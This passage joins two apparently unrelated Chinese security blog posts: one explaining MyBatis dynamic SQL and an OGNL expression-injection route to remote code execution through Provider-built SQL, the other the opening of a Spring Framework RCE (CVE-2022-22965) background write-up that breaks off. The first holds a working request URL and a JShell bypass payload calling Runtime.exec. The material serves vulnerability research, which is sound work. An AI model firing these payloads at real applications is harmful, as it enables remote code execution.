动态SQL动态 SQL 是 MyBatis 的强大特性之一，一般而言，如果不使用动态SQL来拼接SQL语句，是比较痛苦的，比如拼接时要确保不能漏空格，还要注意去掉列表最后一个列名的逗号等，但是利用动态 SQL，就可以彻底摆脱这种痛苦。一般而言，使用mybatis有两种配置，一种是通过xml文件的方式来配置，另一种是通过注解的方式来配置。1、xml文件mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种，分别是：① ifif标签是Mybatis中使用动态SQL比较频繁的地方，尤其是在where的判断里，比如： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> 这里的SQL语句就提供了选择情景，如果我们不传入title或者传入的title为空，那么就不会拼接 AND title like #{title}又或者想加入额外的判断： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 结论：if标签里的 test属性，可以插入并解析OGNL表达式② choose (when, otherwise)根据官方文档中的说明有时候，我们不想使用所有的条件，而只是想从多个条件中选择一个使用。针对这种情况，MyBatis 提供了 choose 元素，它有点像 Java 中的 switch 语句。 SELECT * FROM BLOG WHERE state = 'ACTIVE' <choose> <when test="title != null"> AND title like #{title} </when> <when test="author != null and author.name != null"> AND author_name like #{author.name} </when> <otherwise> AND featured = 1 </otherwise> </choose> 结论：when标签里的 test属性，可以插入并解析OGNL表达式③ trim (where, set) SELECT * FROM BLOG WHERE <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 可以看下这个SQL语句，假设如果没有满足匹配的条件，那么最终这条 SQL 会变成这样：SELECT * FROM BLOG WHERE毫无疑问，这会导致查询失败同样的，如果匹配的只是第二个条件，这条 SQL 会是这样：SELECT * FROM BLOG WHERE AND title like 'someTitle'这个查询也会失败所以mybatis提出来了trim方法，如下： SELECT * FROM BLOG <where> <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> </where> 可以看到多了一个where标签，同理还有一个set标签结论：该情况下，一般没有地方可以供我们插入OGNL表达式④ foreach动态 SQL 的另一个常见使用场景是对集合进行遍历（尤其是在构建 IN 条件语句的时候）。比如： SELECT * FROM POST P <where> <foreach item="item" index="index" collection="list" open="ID in (" separator="," close=")" nullable="true"> #{item} </foreach> </where> 结论：该情况下，一般没有地方可以供我们插入OGNL表达式⑤ bindbind 标签允许我们在 OGNL 表达式以外创建一个变量，并将其绑定到当前的上下文。比如： <bind name="pattern" value="'%' + _parameter.getTitle() + '%'" /> SELECT * FROM BLOG WHERE title LIKE #{pattern} 结论：bind标签里的 value属性，可以插入并解析OGNL表达式2、注解springboot使我们摆脱了各种xml配置的烦恼，对应的，mybatis也为springboot提供了对应的注解来满足动态SQL的功能，主要有以下注解：@Insert@Update@Delete@Select@InsertProvider@SelectProvider@UpdateProvider@DeleteProvider@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能，每一个都有一个对应的Provider注解标识带有Provider注解和不带有Provider注解的区别是，使用Provider需要自己实现查询类，并且使用动态SQL也简单很多。举个例子，如果@Update注解想要实现动态SQL，那么一定要使用 "}) void updateAuthorValues(Author author);可以看到，可以引用xml中的标签，然后来使用动态SQL但这样的方式很不美观，而且也有点鸡肋（还不如直接用xml来配置了）因此有了各类Provider，如：@SelectProvider我们定义一个查询方法为：@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName") Teacher findUserByName(Map<String, Object> map);SelectProvider 调用的方法为findTeacherByName，如下： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=#{name}"); } }.toString(); return s; } }可以看到，这种方式没有任何标签，但是同样实现了动态SQL漏洞分析场景分析前面说了动态SQL的基础知识，可以看到，主要就一个点，在动态SQL中，可以解析OGNL表达式那么是不是说，如果我们控制了一个变量，并且该变量可以被解析成OGNL表达式，是不是就能够实现OGNL表达式注入呢？答案是肯定的。经过研究，总结出变量可以被解析成OGNL表达式，主要有以下几个地方：if标签里的 test属性此属性一般写死，不可控when标签里的 test属性此属性一般写死，不可控bind标签里的 value 属性bind标签value属性是可以传值的，如：<if test="name != null and name !=''"> <bind name="likename" value="name" /> name like #{likename} </if>但经过测试发现，这里进行OGNL表达式解析的时候，是有顺序的假设令name的值为：${@java.lang.Math@min(4,10)}我们想要的执行顺序是这样的：先利用OGNL表达式解析器来获取${@java.lang.Math@min(4,10)}的值，得到值以后，再将其赋给bind标签中的value，即：<bind name="likename" value="4" />但实际上并非如此，mybatis对于bind中value属性的OGNL解析流程是这样的，首先利用OGNL表达式解析器解析value的值，此时值单纯为name变量，即：<bind name="likename" value="name" />然后得到值，${@java.lang.Math@min(4,10)}，然后将其赋给bind标签value属性中的name变量，即：<bind name="likename" value="${@java.lang.Math@min(4,10)}" />这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析，也就无法实现OGNL表达式注入${param} 参数中${param} 和 【bind标签里的 value属性】同理，虽然可以传值， 但是存在解析顺序问题，同样无法实现OGNL表达式注入比如存在以下select标签 ： select id,email from Teacher where name = ${name}; 传入的name为：${@java.lang.Math@min(4,10)}那么其解析过程为：首先利用OGNL解析器解析${}标签里的内容，解析完毕以后得到name的变量，传入SQL中：select id,email from Teacher where name = '${@java.lang.Math@min(4,10)}';Provider实现类中的拼接到SQL里的变量在注解部分里，曾经提到： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=#{name}"); } }.toString(); return s; } }可以看到，返回值实际上就是一个SQL语句没错，Provider其实就是要返回一个SQL字符串，只不过用了一些关键字做格式化而已，其实不使用也可以，比如： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=" + name); } }.toString(); return s; } }甚至可以使用String字符串拼接SQL语句： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String sql = "select id,email from Teacher where name = " + name; return sql; } }亦或者使用String.format来处理： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String finalName = String.format(" name in (%s)", name); String sql = new SQL() {{ SELECT("id,email"); FROM("Teacher"); WHERE(finalName); ORDER_BY("id desc"); }}.toString(); System.out.println(sql); return sql; }有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接，如：public String countUserByRolePM(final UserVO userVO) { StringBuffer sb = new StringBuffer(); sb.append("SELECT count(*) FROM ( "); sb.append(" SELECT A.*,count(P.Id) FROM ("); sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " + " LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 "); sb.append(" AND UR.roleId in ("); String[] roleids = userVO.getParaRoleIDS().split(","); if (roleids != null){ for (int i = 0 ; i< roleids.length ; i ++){ String s = roleids[i]; if(i != roleids.length -1){ sb.append("'" + s + "'" + ","); }else{ sb.append("'" + s + "'"); } } } sb.append(")"); if(!StringUtils.isEmpty(userVO.getName())){ sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')"); } if(!StringUtils.isEmpty(userVO.getMobilePhone())){ sb.append(" AND U.mobilePhone = #{mobilePhone}"); } if(!StringUtils.isEmpty(userVO.getCity())){ sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')"); } if(!StringUtils.isEmpty(userVO.getRegion())){ sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')"); } if(!StringUtils.isEmpty(userVO.getPlatformLevel())){ sb.append(" and U.platformLevel = #{platformLevel}"); } if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){ sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)"); } if(!StringUtils.isEmpty(userVO.getState())){ sb.append(" and U.state = #{state}"); } sb.append(" GROUP BY U.id"); sb.append(" ) A"); sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id"); sb.append(" GROUP BY A.id"); sb.append(" ORDER BY A.modifyTime DESC"); sb.append(") as A"); return sb.toString(); }这样形成的SQL语句，实际上就是相当于生成了一个XML文件： select id,email from Teacher where name = 传入的name值 那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢？当然有区别，并且这种区别是本质的正是前文中提到的：解析顺序这种形成的SQL语句会首先进行OGNL表达式，然后再执行查询。以下面的Provider为例： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT("id,email"); FROM("Teacher"); if(map.get("id")!=null) WHERE("name=" + name); } }.toString(); return s; } }如果我们传入name的值为：${@java.lang.Math@min(4,10)}其流程是这样的：首先生成了SQL语句为：select id,email from Teacher where name = ${@java.lang.Math@min(4,10)};经过一系列的传递，相当于生成（实际上并未生成，直接解析的）了一个如下的XML文件： select id,email from Teacher where name = ${@java.lang.Math@min(4,10)}; 然后进行OGNL表达式解析： select id,email from Teacher where name = '4'; 解析完毕以后得到name的变量，传入SQL中：select id,email from Teacher where name = '4';这也就导致了OGNL表达式注入影响范围mybatis-spring-boot-starter >=2.0.1（mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL）或者Mybatis 全版本或者mybatis-plus-boot-starter >=3.1.1漏洞复现如果在mybatis中存在某个SelectProvider（或者其他的Provider）的方法实例如下： public String findTeacherByName(Map<String, Object> map) { String name = (String) map.get("name"); String s = new SQL() { { SELECT(returnSql); FROM("Teacher"); WHERE("name=" + name); } }.toString(); return s; } }对应controller如下：@RequestMapping("selectUserByName") public Teacher getUserOne(String id,String name){ Teacher tea=new Teacher(); tea.setId(id); tea.setName(name); Teacher teacher=userService.findTeacherByName(tea); return teacher; } http://localhost:8080/selectUserByName?id=7&name=%24%7B@java.lang.Runtime@getRuntime().exec("open /System/Applications/Calculator.app")%7D利用环境下载：链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs漏洞利用限制不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本，而不同的Mybatis版本又使用了不同的OGNL组件版本在 mybatis-spring-boot-starter 组件的2.0.1版本中，其引用的Mybatis版本为3.5.1，对应的OGNL版本为3.2.10，在这个版本中，并未对传入的OGNL表达式反射调用的类进行限制，而在高版本中进行了限制（如mybatis3.5.9，具体从哪个版本开始限制的，没有调查），因此想要在高版本中进行绕过限制，需要一定的技巧，这里只提供一种Java环境大于等于JDK9的通杀payload ，小于9的也可以绕过，具体可以思考从编码入手。${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}总结该漏洞为特殊场景下的利用，只有存在SQL注入的时候，此漏洞才会存在因此可能遇到的情景比较少是一种特定场景下mybatis SQL到RCE的补充利用
本文首发于跳跳糖社区：http://tttang.com/archive/1532/博客用于备份0x01 写在前面如果需要让你对一套CMS的安全性进行研究分析，你会从哪里入手？或许你会回答代码审计的那一套知识点。那么，如果需要让你要对 Spring Framework 框架的安全性进行研究分析，你会从哪里入手？更宽泛一点，如果需要让你对一个大型的开源组件的安全性进行研究分析，你会从哪里入手？实际上自从 Spring Framework RCE（ CVE-2022-22965 ）漏洞被爆出后，我就在思考这样的一个问题。如果让我去分析这种类似于 Spring Framework 框架的安全性，我能够发现这个漏洞吗？我给自己的结论是不能。分析了主要原因，主要有三点。第一是基础不牢，当你不知道Spring Framework框架内部运行的机制以及其特色的实现原理的时候，你不可能从中找到不足点；这个很容易理解，你都不懂我，你怎么可能会懂我的不足。第二是积累不够，当你都不知道Spring Framework框架曾经出现过哪些问题的时候，你又怎么可能知道曾经出现问题的地方有没有可能被绕过；这一点其实很简单，但也最怕眼高手低，最常有的想法是这都十多年前的漏洞了，看了应该也没啥意思，不如看看最近出现过的新的漏洞。第三是知识的广度，当你都不知道JDK新特性以及新特性如何去使用的时候，你又怎么可能找到绕过的方法；这一点最难去弥补，安全的知识海洋太广了，没有人能够把自己知识的广度做到100%的安全面，但最关键的地方并不在于要做到100%的广度，而是要做到你了解到的广度能够帮你实现目标；那这三点应该如何去解决呢？在文章的末尾我会给出我的见解。下面会从基础知识到漏洞原理到漏洞修复对 Spring Framework RCE漏洞进行分析。0x02 基础知识java.lang.Class在Java中有两种对象：Class对象和实例对象。实例对象是类的实例，通常是通过 new 这个关键字构建的；Class对象是JVM生成用来保存对象的类的信息的；在代码中写的每一个类都是对象，也同是java.lang.Class类的对象。换而言之，每个类都有自己的实例对象，而且也都是Class类的对象。在java.lang.Class类中对Class类的构造方法有相关说明： /* * Private constructor. Only the Java Virtual Machine creates Class objects. * This constructor is not used and prevents the default constructor being * generated. */ private Class(ClassLoader loader, Class<?> arrayComponentType) { // Initialize final field for classLoader. The initialization value of non-null // prevents future JIT optimizations from assuming this final field is null. classLoader = loader; componentType = arrayComponentType; }Private constructor. Only the Java Virtual Machine creates Class objects. This constructor is not used and prevents the default constructor being generated.可以看到，Class类的构造方法是私有构造函数，只有JVM 才可以创建该类的对象。也就是说，我们是没有办法通过 new 的方式声明一个Class对象的，如下图，当我们尝试 new 一个Class对象的时候，会报错：虽然我们无法通过new的方式得到Class类的对象，但是依然有其他方式获得Class类的对象，如：通过类的静态成员变量来获取、通过java.lang.Object.getClass() 方法返回运行时类的对象、通过Class的静态方法forName()获取：可以这样去理解，获取到一个类对象后，就可以调用这个类中的一些方法，当获取到Class对象后，变相的获取了所有Class类的对象，通过调用这个Class类下实例对象的方法，就相当于调用了实例对象的方法。JavaBean在介绍SpringBean之前需要对JavaBean有一定的了解，根据官方的介绍如下：JavaBean 是一种 Java语言写成的可重用组件。写成JavaBean，类必须是具体的和公共的，并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性，long和class方法获取。众所周知，属性名称符合这种模式，其他Java 类可以通过自省机制发现和操作这些JavaBean 的属性。官方的话听起来可能比较难以理解，你只需要知道JavaBean 和一个类在语法上没有区别——如果一个类遵循了JavaBean标准，那么它就是一个 JavaBean。JavaBean标准有以下要求：所有的类必须声明为public，这样才能够被外部所访问；类中所有的属性都必须封装，即：使用private声明；封装的属性如果需要被外部所操作，则必须编写对应的setter、getter方法；一个JavaBean中至少存在一个无参构造方法比如：public class Person { private String name; private int age; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public int getAge() { return this.age; } public void setAge(int age) { this.age = age; } }这个Person类读写方法符合以下这种命名规范：// 读方法: public Type getXyz() // 写方法: public void setXyz(Type value)那么这个Person类实际上就是一个JavaBean读写方法名分别以get和set开头，并且后接大写字母开头的字段名Xyz因此两个读写方法名分别是getXyz()和setXyz()这里的getName()、getAge()、gsetName()、setAge()就符合了这种规范不过boolean字段比较特殊，它的读方法一般命名为isXyz()：如：// 读方法: public boolean isChild() // 写方法: public void setChild(boolean value)此外，通常把一组对应的读方法（getter）和写方法（setter）称为属性（property）。例如，Person类中的name的属性：对应的读方法是String getName()对应的写方法是setName(String)只有getter的属性称为只读属性（read-only），例如，定义一个age只读属性：对应的读方法是int getAge()无对应的写方法setAge(int)同理，只有setter的属性称为只写属性（write-only），一般只读属性很常见，只写属性不常见。没错，看到这里实际上你也写过很多JavaBean，当我们在编译器中使用 Generate Getters and Setters，在弹出的对话框中选中需要生成getter和setter方法的字段时，就是在创建一个JavaBeanJavaBean主要用来传递数据，是为了把一组数据组合成一个JavaBean便于传输我们可以通过 Java 核心库提供的Introspector来获取一个JavaBean的所有属性以及对应属性的读写方法：import java.beans.BeanInfo; import java.beans.IntrospectionException; import java.beans.Introspector; import java.beans.PropertyDescriptor; public class ClassTest { public static void main(String[] args) throws ClassNotFoundException, IntrospectionException { BeanInfo info = Introspector.getBeanInfo(Person.class); for (PropertyDescriptor pd : info.getPropertyDescriptors()) { System.out.println(pd.getName()); System.out.println(" [*]" + pd.getReadMethod()); System.out.println(" [*]" + pd.getWriteMethod()); } } }运行结果如下图：可以看到运行结果中不但含有Person的Name和Age属性，还有一个名为class的属性，并且在这个属性中还有getClass()的方法，实际上Java Object 类是所有类的父类，也就是说 Java 的所有类都继承了 Object，子类可以使用 Object 的所有方法，这里的class属性就是从Object继承的getClass()方法带来的。内省(Introspector)内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。假设存在一个类：public class Person { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }在Person类中存在为name的属性值，并且存在对应的set/get方法，我们就可以通过set/get方去赋值和取值，这就是默认的规则。Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法，这就是内省。JDK内省类库主要有以下几个：Introspector类将JavaBean中的属性封装起来进行操作。在程序把一个类当做JavaBean来看，就是调用Introspector.getBeanInfo()方法，得到的BeanInfo对象封装了把这个类当做JavaBean看的结果信息，即属性的信息。getPropertyDescriptors()，获得属性的描述，可以采用遍历BeanInfo的方法，来查找、设置类的属性。BeanInfo类BeanInfo是一个接口，具体实现是GenericBeanInfo，通过这个接口可以获取一个类的各种类型的描述符。主要方法：1、BeanDescriptor getBeanDescriptor()，获取JavaBean描述符2、EventSetDescriptor[] getEventSetDescriptors()，获取JavaBean的所有的EventSetDescriptor3、PropertyDescriptor[] getPropertyDescriptors()，获取JavaBean的所有的PropertyDescriptor4、MethodDescriptor[] getMethodDescriptors()，获取JavaBean的所有的MethodDescriptorPropertyDescriptor类PropertyDescriptor类表示JavaBean类通过存储器导出一个属性。主要方法： 1. getPropertyType()，获得属性的Class对象; 2. getReadMethod()，获得用于读取属性值的方法；getWriteMethod()，获得用于写入属性值的方法; 3. hashCode()，获取对象的哈希值; 4. setReadMethod(Method readMethod)，设置用于读取属性值的方法; 5. setWriteMethod(Method writeMethod)，设置用于写入属性值的方法。Introspector和PropertyDescriptor这两个类的比较可以看出，都是需要获得PropertyDescriptor，只是方式不一样：前者需要遍历，后者通过创建对象直接获得，所以使用PropertyDescriptor类更加方便。此外，实际上还有一些三方的内省库，比如Apache的BeanUtils工具包关于内省，我们一定要知道的一点是，由于所有的类都是Object的子类，Object又拥有getClass()方法，Java内省机制认为，只要有 get/set 方法中的其中一个，那么就可以找到class属性。SpringBeanSpring Bean是事物处理组件类和实体类（POJO）对象的总称，是能够被实例化、能够被spring容器管理的java对象。官方的介绍总是有点抽象比较难以理解的。实际上你可以把他当成JavaBean的翻版，但是远比JavaBean约束少且更强大。我们在上面提到了JavaBean要求每个属性都提供getter或setter方法并且还有其他的一些约束条件，但Spring容器对Bean没有特殊要求，不像javaBean一样遵循一些规范，甚至不要求该Bean像标准的JavaBean那样必须为每个属性提供对应的getter和setter方法。虽然Spring对Bean没有特殊要求，但还是建议Spring中的Bean应该尽量满足如下几个原则：尽量为每个Bean实现类提供无参的构造器接受构造注入的Bean，应该提供对应的构造方法接受值注入的Bean，应该提供对应的setter方法，并不强制要求提供对应的getter方法想象一下，把Spring当成一个一个大型的车间工厂，而Spring容器中的Bean就是该车间工厂的产品，并且受到 Spring 容器创建和管理。以前我们要用对象是通过自己new来生产的，但是现在只需要通过Spring这个工厂来代替我们管理生产就行了，我们只需要来使用。当然，我们也不能什么都不做，比如Spring车间工程只能生成牙刷，但是你还需要纸巾，那么你就要去开发纸巾（Bean），并且配置好纸巾所需的材料（Bean中的属性），再让Spring去生产，然后你才可以去使用。对于Spring来说，它要做的就是根据配置文件来创建Bean实例，并调用Bean实例的方法完成依赖注入。简而言之，Spring Bean是Spring框架在运行时管理的对象。Spring Bean是任何Spring应用程序的基本构建块。使用Spring框架时编写的大多数应用程序逻辑代码都将放在Spring Bean中。SpringBean的创建SpringBean的创建和装配的方式由很多种，这里由于篇幅关系不做详细说明了，只做一个通过xml配置文件来创建Bean的示例来简单说明。假设存在一个配置文件内容如下：<?xml version="1.0" encoding="UTF-8"?> <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.springframework.org/schema/beans" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"> <bean id="bean1" class="com.Person"> <constructor-arg value="panda"/> <constructor-arg value="18"/> </bean> </beans>则Spring相当于调用如下代码：Bean bean = new com.Person("panda","18");这看着很简单，但实际上Spring为我们做了很多事情，具体可以借用一张流程图来说明：可以看到实际上核心点主要有以下四步：第一，调用createBeanInstance(String beanName, RootBeanDefinition mbd, Object[] args)方法，来进行bean的创建第二，对于单例模式的bean进行循环依赖的检查第三，调用populateBean(beanName, mbd, instanceWrapper)来实现对刚创建的bean进行属性的填充第四，调用initializeBean(beanName, exposedObject, mbd)来完成bean的初始化SpringBean的使用Bean的使用可以参考网上的一张图，我对它重新画了下：在启动Spring应用程序时，框架首先会创建一个名为ApplicationContext的特殊对象。ApplicationContext，也称为控制反转（IoC）容器，是框架的核心。ApplicationContext也即是存在bean对象的容器，包含了所有需要使用Spring容器托管的bean。BeanFactory 接口定义了 IoC 容器提供的主要功能，在Spring中，一组以 Registry 为后缀的接口定义了Spring Bean的注册功能。这些Registry接口的实现类即为Spring Bean Definition的“家”，所有bean的配置信息都在这些类中，因此，这些实现类可以称之为SpringBean的注册表。在SpringBean要使用时，第一步就是从SpringBean的注册表中获取Bean的配置信息，然后根据配置信息实例化Bean，实例化以后的Bean被映射到了Spring容器中，并且被存储在了Bean Cache池中，当应用程序要使用Bean时，会向Bean Cache池发起调用。SpringBean的属性填充上面介绍了Spring 创建 bean 的流程，即 Spring 先通过反射创建一个原始的 bean 对象，然后再向这个原始的 bean 对象中填充属性。对于填充属性这个过程，简单点来说，JavaBean 的每个属性通常都有 getter/setter 方法，我们可以直接调用 setter 方法将属性值设置进去。当然，这样做还是太简单了，填充属性的过程中还有许多事情要做。比如在 Spring 配置中，所有属性值都是以字符串的形式进行配置的，我们在将这些属性值赋值给对象的成员变量时，要根据变量类型进行相应的类型转换。对于一些集合类的配置，还要将这些配置转换成相应的集合对象才能进行后续的操作。除此之外，如果用户配置了自动注入（autowire = byName/byType），Spring 还要去为自动注入的属性寻找合适的注入项。由此可以见，属性填充的整个过程还是很复杂的，并非是简单调用 setter 方法设置属性值即可。我们在上面的SpringBean的创建中就提到了，属性填充的入口方法 DefaultListableBeanFactory#populateBean，SpringBean的属性填充就是通过调用该方法来实现的。由于篇幅关系就不一步一步从源码的角度来剖析 Spring IOC 对 Bean 属性填充的过程了，这里只对关键点做个介绍。从rootBeanDefinition中获取bean的属性值，并注入这里实际上是自动注入，并且通过AbstractBeanDefinition#getResolvedAutowireMode()返回的值来判断是以什么样的方式注入的：//<1>获取resolvedAutowireMode的编码 int resolvedAutowireMode = mbd.getResolvedAutowireMode(); //如果编码为AUTOWIRE_BY_NAME为1或者AUTOWIRE_BY_TYPE为2 //如果返回的值为1,则是通过名称去注入,如果是2,则是通过类型去注入 if (resolvedAutowireMode == AUTOWIRE_BY_NAME || resolvedAutowireMode == AUTOWIRE_BY_TYPE) { //对PropertyValues属性进行封装成MutablePropertyValues对象 //因为MutablePropertyValues主要是可以对构造函数进行深度的拷贝,以及属性的操作,这样可以保证我们的属性值是独立的 MutablePropertyValues newPvs = new MutablePropertyValues(pvs); // Add property values based on autowire by name if applicable. //根据名称自动注入 if (resolvedAutowireMode == AUTOWIRE_BY_NAME) { autowireByName(beanName, mbd, bw, newPvs); } // Add property values based on autowire by type if applicable. //根据类型自动注入 if (resolvedAutowireMode == AUTOWIRE_BY_TYPE) { autowireByType(beanName, mbd, bw, newPvs); } pvs = newPvs; }实际上，Spring 自动注入是通过某个类的 set 方法来查找 bean, byName 就是根据某个 set 方法所对应的属性名去查找 bean ，byType 就是根据某个 set 方法的参数去找 bean解析注解并注入执行完成 Spring 的自动注入之后，就开始调用 BeanPostProcessor 分别解析 @Autowired、@Resource、@Value 为属性注入值。for (BeanPostProcessor bp : getBeanPostProcessors()) { if (bp instanceof InstantiationAwareBeanPostProcessor) { InstantiationAwareBeanPostProcessor ibp = (InstantiationAwareBeanPostProcessor) bp; // 调用 BeanPostProcessor 分别解析 @Autowired、@Resource、@Value 为属性注入值 // 此处会从后置处理，从里面把依赖的属性，值都拿到。AutowiredAnnotationBeanPostProcessor就是在此处拿出值的 PropertyValues pvsToUse = ibp.postProcessProperties(pvs, bw.getWrappedInstance(), beanName); if (pvsToUse == null) { if (filteredPds == null) { filteredPds =filterPropertyDescriptorsForDependencyCheck(bw, mbd.allowCaching); } pvsToUse = ibp.postProcessPropertyValues(pvs, filteredPds, bw.getWrappedInstance(), beanName); if (pvsToUse == null) { return; } } pvs = pvsToUse; } }完成解析，统一存放在PorpertyValues中在上一步骤中，只会解析依赖，并不会将解析出的依赖立即注入到 bean 对象中。所有的属性值是在 applyPropertyValues 方法中统一被注入到 bean 对象中的。if (pvs != null) { applyPropertyValues(beanName, mbd, bw, pvs); } }在该方法中主要实现以下逻辑：在进行属性值的注入时，如果属性值不需要转换，那么直接进行注入当需要对属性值进行转换时，首先是转换成对应类的属性的属性值，接着设置，最后完成注入这里进行注入的方式是通过调用setPropertyValues实现的，并且这个方法的调用栈的最底部是通过调用对象的 setter 方法进行属性设置的：public class BeanWrapperImpl extends AbstractNestablePropertyAccessor implements BeanWrapper { ...... private class BeanPropertyHandler extends PropertyHandler { public void setValue(final Object object, Object valueToApply) throws Exception { // 获取 writeMethod，也就是 setter 方法 final Method writeMethod = this.pd.getWriteMethod(); if (!Modifier.isPublic(writeMethod.getDeclaringClass().getModifiers()) && !writeMethod.isAccessible()) { writeMethod.setAccessible(true); } final Object value = valueToApply; // 调用 setter 方法，getWrappedInstance() 返回的是 bean 对象 writeMethod.invoke(getWrappedInstance(), value); } } }以上，总结一下，实际上首先是从 beanDefinition 中获取到属性的值，然后将 PropertyValues 属性值封装成 MutablePropertyValues 的对象，经过一系列的处理最后通过 applyPropertyValues 方法将属性应用到具体的bean中。SpringBean的作用域SpringBean的作用域和本文的关系不是太大，但是挺有意思，所以也提一下，做个简单说明。当通过Spring容器创建一个Bean实例时，不仅可以完成Bean的实例化，还可以为Bean指定特定的作用域。Spring支持5种作用域：singleton: 单例模式，当spring创建applicationContext容器的时候，spring会欲初始化所有的该作用域实例，加上lazy-init就可以避免预处理；prototype： 原型模式，每次通过getBean获取该bean就会新产生一个实例，创建后spring将不再对其管理；request： 对于每次HTTP请求，使用request定义的Bean都将产生一个新的实例，即每次HTTP请求都会产生不同的Bean实例。当然只有在WEB应用中使用Spring时，该作用域才真正有效。搞web的大家都应该明白request的域了吧，就是每次请求都新产生一个实例，和prototype不同就是创建后，接下来的管理，spring依然在监听；session: 对于每次HTTPSession，使用session定义的Bean都将产生一个新的实例时，即每次HTTP Session都将产生不同的Bean实例。同HTTP一样，只有在WEB应用才会有效。global session: 全局的web域，类似于servlet中的application。比较常用的是单例模式和原型模式。如果一个Bean实例被设置为单例模式，那么每次请求该Bean时都会获得相同的实例。并且由容器负责跟踪Bean实例的状态，负责维护Bean实例的生命周期行为。如果一个Bean实例被设置为原型模式，那么每次请求该Bean时，Spring都会创建一个新的Bean实例返回给程序，在这种情况下，Spring容器仅仅使用new关键字创建Bean实例，一旦创建成功，容器将不会再跟踪实例，也不会维护Bean实例的状态。如果我们不指定Bean的作用域，则Spring会默认使用单例模式作用域。比如SpringBoot中的Controller，我们如果不定义作用域，那么实际上使用的就是默认的单例模式。正是因为单例，所以其线程不是安全的，如果使用非静态的成员变量就可能造成逻辑漏洞。比如有一个Controller如下：package com.example.beantest.controller; import org.springframework.context.annotation.Scope; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @Controller @ResponseBody public class ScopeTestController { private int code = 0; @RequestMapping("/admin") public String testScope() { ++code; if (code > 0) { return "code:" + code + " " + "You are admin"; }else { return "code:" + code + " " + " You are user"; } } @RequestMapping("/user") public String testScope2() { --code; if (code <= 0) { return "code:" + code + " " + "You are user"; }else { return "code:" + code + " " + "You are admin"; } } }代码逻辑很简单，如果首先访问 http://localhost:8080/admin ，再访问http://localhost:8080/user 则会提示：但如果访问两次http://localhost:8080/admin ，再再访问http://localhost:8080/user 则会提示：可以看到code的值是随着访问admin页面的次数而增加的，当访问两次admin页面后，使得code的值变成了2，也导致了user的逻辑出现了问题。而如果此时我们在@Controller注解的下面添加@Scope("prototype")，即设置作用域为原型模式，那么就不会出现这种问题：可以看到单例是不安全的，会导致属性重复使用。但也不能什么时候都使用原型模式，因为Java在创建Java实例时，需要进行内存申请。销毁实例时，需要完成垃圾回收。这些工作都会导致系统开销的增加。因此，原型模式作用域Bean的创建、销毁代价会比较大。而单例模式作用域的Bean实例一旦创建成功，可以重复使用。因此，除非必要，否则尽量避免将Bean的作用域设置为原型模式。（毕竟上面这种示例代码基本上不会有人那么去写）了解这些基础知识后，基本上就可以来看看这个漏洞是怎么一回事了。0x03 漏洞分析这个漏洞实际上可以算是CVE-2010-1622的绕过，因此这两个漏洞可以一起来分析。假设存在一个Person类如下：public class Person { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } }存在一个Controller如下：@Controller @ResponseBody public class IndexController { @GetMapping("index") public String index(Person person){ return "Your name is : "+ person; } }那么如果我们想给index方法传入一个name，应该怎么做？没错，直接请求 http://localohst:8080/index?name=panda当完成请求后，indexController 就会自动把 name=panda 变成对象 person.name 